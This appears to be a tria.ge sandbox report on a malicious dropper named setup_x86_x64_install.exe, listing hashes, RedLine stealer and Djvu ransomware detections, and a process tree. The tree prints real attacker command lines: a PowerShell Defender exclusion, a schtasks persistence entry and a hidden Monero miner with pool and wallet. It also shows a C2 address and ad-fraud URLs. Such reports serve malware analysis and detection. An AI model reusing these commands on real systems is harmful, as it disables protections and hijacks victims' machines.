Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Overview
overview
10Static
static
setup_x86_...ll.exe
windows7_x64
10setup_x86_...ll.exe
windows7_x64
10setup_x86_...ll.exe
windows7_x64
10setup_x86_...ll.exe
windows7_x64
10setup_x86_...ll.exe
windows11_x64
10setup_x86_...ll.exe
windows10_x64
10setup_x86_...ll.exe
windows10_x64
10setup_x86_...ll.exe
windows10_x64
10setup_x86_...ll.exe
windows10_x64
10setup_x86_...ll.exe
windows10_x64
10Resubmissions
02/12/2021, 07:35
211202-je6zgsfge4 1010/09/2021, 20:31
210910-za2rzaaeh3 1010/09/2021, 19:40
210910-ydvmdsdffp 1010/09/2021, 12:06
210910-n9s4bsdbep 1010/09/2021, 05:37
210910-gbjcxahdh2 1009/09/2021, 22:16
210909-17av7aghb7 1009/09/2021, 22:12
210909-14mqksgha9 1009/09/2021, 22:12
210909-14l42sgha8 1009/09/2021, 22:11
210909-14e1qsgha7 1009/09/2021, 22:11
210909-138lnacacn 10Analysis
-
max time kernel
39s -
max time network
1818s -
platform
windows7_x64 -
resource
win7-jp -
submitted
10/09/2021, 19:40
Static task
static1
Behavioral task
behavioral1
Sample
setup_x86_x64_install.exe
Resource
win7-jp
Behavioral task
behavioral2
Sample
setup_x86_x64_install.exe
Resource
win7-fr
Behavioral task
behavioral3
Sample
setup_x86_x64_install.exe
Resource
win7v20210408
Behavioral task
behavioral4
Sample
setup_x86_x64_install.exe
Resource
win7-de
Behavioral task
behavioral5
Sample
setup_x86_x64_install.exe
Resource
win11
Behavioral task
behavioral6
Sample
setup_x86_x64_install.exe
Resource
win10v20210408
Behavioral task
behavioral7
Sample
setup_x86_x64_install.exe
Resource
win10-jp
Behavioral task
behavioral8
Sample
setup_x86_x64_install.exe
Resource
win10-fr
Behavioral task
behavioral9
Sample
setup_x86_x64_install.exe
Resource
win10-en
Behavioral task
behavioral10
Sample
setup_x86_x64_install.exe
Resource
win10-de
General
-
Target
setup_x86_x64_install.exe
-
Size
4.3MB
-
MD5
6d18c8e8ab9051f7a70b89ff7bb0ec35
-
SHA1
265311e2afd9f59e824f4b77162cf3dfa278eb7e
-
SHA256
8fe6c86b038ce91a991fe6eb8a9b323bb37b554ff6b4e5c18de3fe52d4aedf6d
-
SHA512
249bf79dc90d4662b942c7eed2a7b7816b749f6d5f7bc190bba05f826fa143d0b44f58054d8649b8626884c5fcbd1cea8abd625dc701d44b7aaac84fc74e47ff
Malware Config
Extracted
redline
pab123
45.14.49.169:22411
Signatures
-
Djvu Ransomware
Ransomware which is a variant of the STOP family.
-
Process spawned unexpected child process 3 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2732 2632 rundll32.exe 62 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2012 2632 rundll32.exe 62 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3988 2632 rundll32.exe 62 -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 2 IoCs
resource yara_rule behavioral1/memory/1624-202-0x00000000046E0000-0x00000000046FF000-memory.dmp family_redline behavioral1/memory/1624-226-0x0000000004880000-0x000000000489E000-memory.dmp family_redline -
Socelars Payload 1 IoCs
resource yara_rule behavioral1/files/0x0001000000012f30-95.dat family_socelars -
suricata: ET MALWARE Potential Dridex.Maldoc Minimal Executable Request
suricata: ET MALWARE Potential Dridex.Maldoc Minimal Executable Request
-
suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)
suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)
-
suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload
suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload
-
suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil
suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil
-
resource yara_rule behavioral1/files/0x0001000000012f23-69.dat aspack_v212_v242 behavioral1/files/0x0001000000012f22-72.dat aspack_v212_v242 behavioral1/files/0x0001000000012f22-71.dat aspack_v212_v242 behavioral1/files/0x0001000000012f23-70.dat aspack_v212_v242 behavioral1/files/0x0001000000012f25-75.dat aspack_v212_v242 behavioral1/files/0x0001000000012f25-76.dat aspack_v212_v242 -
Downloads MZ/PE file
-
Executes dropped EXE 15 IoCs
pid Process 552 setup_installer.exe 1260 setup_install.exe 1568 Thu219d5fe8cf316.exe 1624 Thu21624565bb917a.exe 1664 Thu21b93295136197.exe 1576 Thu2156de5489c19.exe 1628 udptest.exe 268 Thu214ce31cede21.exe 1084 Thu21df5caa1b78de6.exe 1984 Thu21b9847cb6727.exe 2068 Thu21568b0ab8.exe 2100 Thu21b93295136197.tmp 2080 Thu214aaca5625.exe 2124 Thu2102ff6cfe07c.exe 2196 Thu214aaca5625.tmp -
Modifies Windows Firewall 1 TTPs
-
Loads dropped DLL 52 IoCs
pid Process 1916 setup_x86_x64_install.exe 552 setup_installer.exe 552 setup_installer.exe 552 setup_installer.exe 552 setup_installer.exe 552 setup_installer.exe 552 setup_installer.exe 1260 setup_install.exe 1260 setup_install.exe 1260 setup_install.exe 1260 setup_install.exe 1260 setup_install.exe 1260 setup_install.exe 1260 setup_install.exe 1260 setup_install.exe 868 cmd.exe 2024 cmd.exe 2024 cmd.exe 1088 cmd.exe 1624 Thu21624565bb917a.exe 1624 Thu21624565bb917a.exe 952 cmd.exe 1508 cmd.exe 1508 cmd.exe 1104 cmd.exe 1104 cmd.exe 1664 Thu21b93295136197.exe 1664 Thu21b93295136197.exe 1324 icacls.exe 1324 icacls.exe 1596 cmd.exe 1628 udptest.exe 1628 udptest.exe 268 Thu214ce31cede21.exe 268 Thu214ce31cede21.exe 1740 cmd.exe 1620 cmd.exe 1084 Thu21df5caa1b78de6.exe 1084 Thu21df5caa1b78de6.exe 1664 Thu21b93295136197.exe 1812 cmd.exe 2080 Thu214aaca5625.exe 2080 Thu214aaca5625.exe 2124 Thu2102ff6cfe07c.exe 2124 Thu2102ff6cfe07c.exe 2100 Thu21b93295136197.tmp 2100 Thu21b93295136197.tmp 2080 Thu214aaca5625.exe 2100 Thu21b93295136197.tmp 2196 Thu214aaca5625.tmp 2196 Thu214aaca5625.tmp 2196 Thu214aaca5625.tmp -
Modifies file permissions 1 TTPs 1 IoCs
pid Process 1324 icacls.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 8 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 9 ipinfo.io 13 ipinfo.io 14 ip-api.com 91 ipinfo.io 93 ipinfo.io 205 api.2ip.ua 208 api.2ip.ua 241 api.2ip.ua -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 4 IoCs
pid pid_target Process procid_target 2928 268 WerFault.exe 47 3268 592 WerFault.exe 74 1264 2864 WerFault.exe 68 4304 4404 WerFault.exe 223 -
Creates scheduled task(s) 1 TTPs 6 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 4020 schtasks.exe 696 schtasks.exe 2260 schtasks.exe 3968 schtasks.exe 3732 schtasks.exe 288 schtasks.exe -
Delays execution with timeout.exe 2 IoCs
pid Process 5048 timeout.exe 1000 timeout.exe -
Kills process with taskkill 5 IoCs
pid Process 2948 taskkill.exe 800 taskkill.exe 3660 taskkill.exe 4796 taskkill.exe 4424 taskkill.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 4052 PING.EXE -
Script User-Agent 4 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 10 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 12 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 21 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 92 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 2100 Thu21b93295136197.tmp -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1916 wrote to memory of 552 1916 setup_x86_x64_install.exe 30 PID 1916 wrote to memory of 552 1916 setup_x86_x64_install.exe 30 PID 1916 wrote to memory of 552 1916 setup_x86_x64_install.exe 30 PID 1916 wrote to memory of 552 1916 setup_x86_x64_install.exe 30 PID 1916 wrote to memory of 552 1916 setup_x86_x64_install.exe 30 PID 1916 wrote to memory of 552 1916 setup_x86_x64_install.exe 30 PID 1916 wrote to memory of 552 1916 setup_x86_x64_install.exe 30 PID 552 wrote to memory of 1260 552 setup_installer.exe 31 PID 552 wrote to memory of 1260 552 setup_installer.exe 31 PID 552 wrote to memory of 1260 552 setup_installer.exe 31 PID 552 wrote to memory of 1260 552 setup_installer.exe 31 PID 552 wrote to memory of 1260 552 setup_installer.exe 31 PID 552 wrote to memory of 1260 552 setup_installer.exe 31 PID 552 wrote to memory of 1260 552 setup_installer.exe 31 PID 1260 wrote to memory of 960 1260 setup_install.exe 33 PID 1260 wrote to memory of 960 1260 setup_install.exe 33 PID 1260 wrote to memory of 960 1260 setup_install.exe 33 PID 1260 wrote to memory of 960 1260 setup_install.exe 33 PID 1260 wrote to memory of 960 1260 setup_install.exe 33 PID 1260 wrote to memory of 960 1260 setup_install.exe 33 PID 1260 wrote to memory of 960 1260 setup_install.exe 33 PID 1260 wrote to memory of 868 1260 setup_install.exe 34 PID 1260 wrote to memory of 868 1260 setup_install.exe 34 PID 1260 wrote to memory of 868 1260 setup_install.exe 34 PID 1260 wrote to memory of 868 1260 setup_install.exe 34 PID 1260 wrote to memory of 868 1260 setup_install.exe 34 PID 1260 wrote to memory of 868 1260 setup_install.exe 34 PID 1260 wrote to memory of 868 1260 setup_install.exe 34 PID 1260 wrote to memory of 2024 1260 setup_install.exe 35 PID 1260 wrote to memory of 2024 1260 setup_install.exe 35 PID 1260 wrote to memory of 2024 1260 setup_install.exe 35 PID 1260 wrote to memory of 2024 1260 setup_install.exe 35 PID 1260 wrote to memory of 2024 1260 setup_install.exe 35 PID 1260 wrote to memory of 2024 1260 setup_install.exe 35 PID 1260 wrote to memory of 2024 1260 setup_install.exe 35 PID 1260 wrote to memory of 636 1260 setup_install.exe 36 PID 1260 wrote to memory of 636 1260 setup_install.exe 36 PID 1260 wrote to memory of 636 1260 setup_install.exe 36 PID 1260 wrote to memory of 636 1260 setup_install.exe 36 PID 1260 wrote to memory of 636 1260 setup_install.exe 36 PID 1260 wrote to memory of 636 1260 setup_install.exe 36 PID 1260 wrote to memory of 636 1260 setup_install.exe 36 PID 1260 wrote to memory of 1104 1260 setup_install.exe 37 PID 1260 wrote to memory of 1104 1260 setup_install.exe 37 PID 1260 wrote to memory of 1104 1260 setup_install.exe 37 PID 1260 wrote to memory of 1104 1260 setup_install.exe 37 PID 1260 wrote to memory of 1104 1260 setup_install.exe 37 PID 1260 wrote to memory of 1104 1260 setup_install.exe 37 PID 1260 wrote to memory of 1104 1260 setup_install.exe 37 PID 1260 wrote to memory of 1088 1260 setup_install.exe 39 PID 1260 wrote to memory of 1088 1260 setup_install.exe 39 PID 1260 wrote to memory of 1088 1260 setup_install.exe 39 PID 1260 wrote to memory of 1088 1260 setup_install.exe 39 PID 1260 wrote to memory of 1088 1260 setup_install.exe 39 PID 1260 wrote to memory of 1088 1260 setup_install.exe 39 PID 1260 wrote to memory of 1088 1260 setup_install.exe 39 PID 960 wrote to memory of 2032 960 cmd.exe 38 PID 960 wrote to memory of 2032 960 cmd.exe 38 PID 960 wrote to memory of 2032 960 cmd.exe 38 PID 960 wrote to memory of 2032 960 cmd.exe 38 PID 960 wrote to memory of 2032 960 cmd.exe 38 PID 960 wrote to memory of 2032 960 cmd.exe 38 PID 960 wrote to memory of 2032 960 cmd.exe 38 PID 868 wrote to memory of 1568 868 cmd.exe 60
Processes
-
C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1916 -
C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:552 -
C:\Users\Admin\AppData\Local\Temp\7zS82231EA4\setup_install.exe"C:\Users\Admin\AppData\Local\Temp\7zS82231EA4\setup_install.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1260 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"4⤵
- Suspicious use of WriteProcessMemory
PID:960 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"5⤵PID:2032
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu219d5fe8cf316.exe4⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:868 -
C:\Users\Admin\AppData\Local\Temp\7zS82231EA4\Thu219d5fe8cf316.exeThu219d5fe8cf316.exe5⤵
- Executes dropped EXE
PID:1568 -
C:\ProgramData\676510.exe"C:\ProgramData\676510.exe"6⤵PID:2864
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 2864 -s 17287⤵
- Program crash
PID:1264
-
-
-
C:\ProgramData\7663041.exe"C:\ProgramData\7663041.exe"6⤵PID:2964
-
C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"7⤵PID:2500
-
-
-
C:\ProgramData\1943453.exe"C:\ProgramData\1943453.exe"6⤵PID:592
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 592 -s 17127⤵
- Program crash
PID:3268
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu21624565bb917a.exe4⤵
- Loads dropped DLL
PID:2024 -
C:\Users\Admin\AppData\Local\Temp\7zS82231EA4\Thu21624565bb917a.exeThu21624565bb917a.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1624
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu21a1ef054cac78a.exe4⤵PID:636
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu2164f292a11ce.exe4⤵
- Loads dropped DLL
PID:1104 -
C:\Users\Admin\AppData\Local\Temp\7zS82231EA4\Thu2164f292a11ce.exeThu2164f292a11ce.exe5⤵PID:1628
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu21b93295136197.exe4⤵
- Loads dropped DLL
PID:1088 -
C:\Users\Admin\AppData\Local\Temp\7zS82231EA4\Thu21b93295136197.exeThu21b93295136197.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1664 -
C:\Users\Admin\AppData\Local\Temp\is-S3DAP.tmp\Thu21b93295136197.tmp"C:\Users\Admin\AppData\Local\Temp\is-S3DAP.tmp\Thu21b93295136197.tmp" /SL5="$4013A,138429,56832,C:\Users\Admin\AppData\Local\Temp\7zS82231EA4\Thu21b93295136197.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
PID:2100 -
C:\Users\Admin\AppData\Local\Temp\is-E1SFL.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-E1SFL.tmp\Setup.exe" /Verysilent7⤵PID:2856
-
C:\Program Files (x86)\SmartPDF\SmartPDF\stats.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\stats.exe" /Verysilent8⤵PID:1800
-
C:\Users\Admin\AppData\Local\Temp\is-OFJ99.tmp\stats.tmp"C:\Users\Admin\AppData\Local\Temp\is-OFJ99.tmp\stats.tmp" /SL5="$20116,138429,56832,C:\Program Files (x86)\SmartPDF\SmartPDF\stats.exe" /Verysilent9⤵PID:2756
-
C:\Users\Admin\AppData\Local\Temp\is-2OKS1.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-2OKS1.tmp\Setup.exe" /Verysilent10⤵PID:3588
-
-
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Setup.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Setup.exe"8⤵PID:2516
-
C:\Users\Admin\AppData\Local\Temp\Mortician.exe"C:\Users\Admin\AppData\Local\Temp\Mortician.exe"9⤵PID:1496
-
C:\Windows\SysWOW64\cmd.exe"cmd" /c cmd < Cerchia.vsdx10⤵PID:3048
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu21b9847cb6727.exe4⤵
- Loads dropped DLL
PID:1596 -
C:\Users\Admin\AppData\Local\Temp\7zS82231EA4\Thu21b9847cb6727.exeThu21b9847cb6727.exe5⤵
- Executes dropped EXE
PID:1984
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu2156de5489c19.exe4⤵
- Loads dropped DLL
PID:952 -
C:\Users\Admin\AppData\Local\Temp\7zS82231EA4\Thu2156de5489c19.exeThu2156de5489c19.exe5⤵
- Executes dropped EXE
PID:1576 -
C:\Users\Admin\AppData\Local\Temp\tmpC5FE_tmp.exe"C:\Users\Admin\AppData\Local\Temp\tmpC5FE_tmp.exe"6⤵PID:3452
-
C:\Windows\SysWOW64\dllhost.exedllhost.exe7⤵PID:3872
-
-
C:\Windows\SysWOW64\cmd.execmd /c cmd < Attesa.wmv7⤵PID:1244
-
C:\Windows\SysWOW64\cmd.execmd8⤵PID:2776
-
C:\Windows\SysWOW64\findstr.exefindstr /V /R "^VksJcWfNcDMqfgfCCoOQaENLrlkioAEZRevWUFgpnuTZyylQxdxsqDodbFGlKiEVZMohRaHWUFajKOGYZxNRyhZgTymgZtndBYqaWXYwInbclWFIZIldx$" Braccio.wmv9⤵PID:4076
-
-
C:\Windows\SysWOW64\PING.EXEping localhost9⤵
- Runs ping.exe
PID:4052
-
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.comAdorarti.exe.com u9⤵PID:3504
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com u10⤵PID:3540
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu21568b0ab8.exe4⤵
- Loads dropped DLL
PID:1740 -
C:\Users\Admin\AppData\Local\Temp\7zS82231EA4\Thu21568b0ab8.exeThu21568b0ab8.exe5⤵
- Executes dropped EXE
PID:2068 -
C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"6⤵PID:2800
-
C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"7⤵PID:2164
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit8⤵PID:2548
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'9⤵
- Creates scheduled task(s)
PID:696
-
-
-
C:\Users\Admin\AppData\Roaming\services64.exe"C:\Users\Admin\AppData\Roaming\services64.exe"8⤵PID:2020
-
C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"9⤵PID:3084
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit9⤵PID:2148
-
-
C:\Windows\explorer.exeC:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.add/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6O4DG/ZgkwoY7/pmBv4ks3wJ7PR9JPsLklOJLkitFc6Y" --cinit-idle-wait=5 --cinit-idle-cpu=70 --tls --cinit-stealth9⤵PID:3516
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe"C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe"7⤵PID:928
-
C:\ProgramData\7976102.exe"C:\ProgramData\7976102.exe"8⤵PID:4128
-
-
C:\ProgramData\6779984.exe"C:\ProgramData\6779984.exe"8⤵PID:4140
-
-
C:\ProgramData\8571517.exe"C:\ProgramData\8571517.exe"8⤵PID:1364
-
-
C:\ProgramData\3200195.exe"C:\ProgramData\3200195.exe"8⤵PID:4404
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4404 -s 16969⤵
- Program crash
PID:4304
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\2.exe"C:\Users\Admin\AppData\Local\Temp\2.exe"7⤵PID:1384
-
C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"8⤵PID:2532
-
C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"9⤵PID:1696
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe"7⤵PID:548
-
-
C:\Users\Admin\AppData\Local\Temp\udptest.exe"C:\Users\Admin\AppData\Local\Temp\udptest.exe"7⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1628
-
-
C:\Users\Admin\AppData\Local\Temp\DVORAK.exe"C:\Users\Admin\AppData\Local\Temp\DVORAK.exe"7⤵PID:2240
-
-
C:\Users\Admin\AppData\Local\Temp\setup_2.exe"C:\Users\Admin\AppData\Local\Temp\setup_2.exe"7⤵PID:2772
-
C:\Users\Admin\AppData\Local\Temp\is-5P33F.tmp\setup_2.tmp"C:\Users\Admin\AppData\Local\Temp\is-5P33F.tmp\setup_2.tmp" /SL5="$1029E,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe"8⤵PID:2920
-
C:\Users\Admin\AppData\Local\Temp\setup_2.exe"C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT9⤵PID:2732
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\3002.exe"C:\Users\Admin\AppData\Local\Temp\3002.exe"7⤵PID:2852
-
C:\Users\Admin\AppData\Local\Temp\3002.exe"C:\Users\Admin\AppData\Local\Temp\3002.exe" -a8⤵PID:2436
-
-
-
C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"7⤵PID:3008
-
-
C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe"C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe"7⤵PID:1112
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu214aaca5625.exe4⤵
- Loads dropped DLL
PID:1620 -
C:\Users\Admin\AppData\Local\Temp\7zS82231EA4\Thu214aaca5625.exeThu214aaca5625.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2080
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu2102ff6cfe07c.exe4⤵
- Loads dropped DLL
PID:1812
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu21df5caa1b78de6.exe /mixone4⤵PID:1324
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu214ce31cede21.exe4⤵
- Loads dropped DLL
PID:1508
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\7zS82231EA4\Thu214ce31cede21.exeThu214ce31cede21.exe1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:268 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 268 -s 9802⤵
- Program crash
PID:2928
-
-
C:\Users\Admin\AppData\Local\Temp\is-4M7T9.tmp\Thu214aaca5625.tmp"C:\Users\Admin\AppData\Local\Temp\is-4M7T9.tmp\Thu214aaca5625.tmp" /SL5="$80160,506086,422400,C:\Users\Admin\AppData\Local\Temp\7zS82231EA4\Thu214aaca5625.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2196 -
C:\Users\Admin\AppData\Local\Temp\is-RHTJ6.tmp\46807GHF____.exe"C:\Users\Admin\AppData\Local\Temp\is-RHTJ6.tmp\46807GHF____.exe" /S /UID=burnerch22⤵PID:2684
-
C:\Program Files\VideoLAN\ZNQTEDILYG\ultramediaburner.exe"C:\Program Files\VideoLAN\ZNQTEDILYG\ultramediaburner.exe" /VERYSILENT3⤵PID:2572
-
-
C:\Users\Admin\AppData\Local\Temp\43-81a23-c1c-271b2-fc9d1973c9cd2\Kucototufae.exe"C:\Users\Admin\AppData\Local\Temp\43-81a23-c1c-271b2-fc9d1973c9cd2\Kucototufae.exe"3⤵PID:2748
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" https://www.profitabletrustednetwork.com/e2q8zu9hu?key=a971bbe4a40a7216a1a87d8f455f71e64⤵PID:2276
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2276 CREDAT:275457 /prefetch:25⤵PID:2180
-
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2276 CREDAT:2241564 /prefetch:25⤵PID:2044
-
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2276 CREDAT:537612 /prefetch:25⤵PID:4300
-
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2276 CREDAT:799790 /prefetch:25⤵PID:4468
-
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" https://www.profitabletrustednetwork.com/b1fsmdd9m?key=7e872dab99d78bffc4aa0c1e6b062dad4⤵PID:2812
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2812 CREDAT:275457 /prefetch:25⤵PID:2524
-
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://vexacion.com/afu.php?zoneid=18514834⤵PID:4948
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4948 CREDAT:275457 /prefetch:25⤵PID:2348
-
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://vexacion.com/afu.php?zoneid=18515134⤵PID:3244
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3244 CREDAT:275457 /prefetch:25⤵PID:1788
-
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://www.directdexchange.com/jump/next.php?r=20872154⤵PID:1736
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" https://www.directdexchange.com/jump/next.php?r=42631194⤵PID:3524
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3524 CREDAT:275457 /prefetch:25⤵PID:4780
-
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://vexacion.com/afu.php?id=12942314⤵PID:4852
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://vexacion.com/afu.php?zoneid=1492888&var=34⤵PID:4552
-
-
-
C:\Users\Admin\AppData\Local\Temp\49-641fd-b91-24691-0f2e2a71b49ae\Haemyshajiva.exe"C:\Users\Admin\AppData\Local\Temp\49-641fd-b91-24691-0f2e2a71b49ae\Haemyshajiva.exe"3⤵PID:2852
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\lpop0lzj.i3p\GcleanerEU.exe /eufive & exit4⤵PID:3468
-
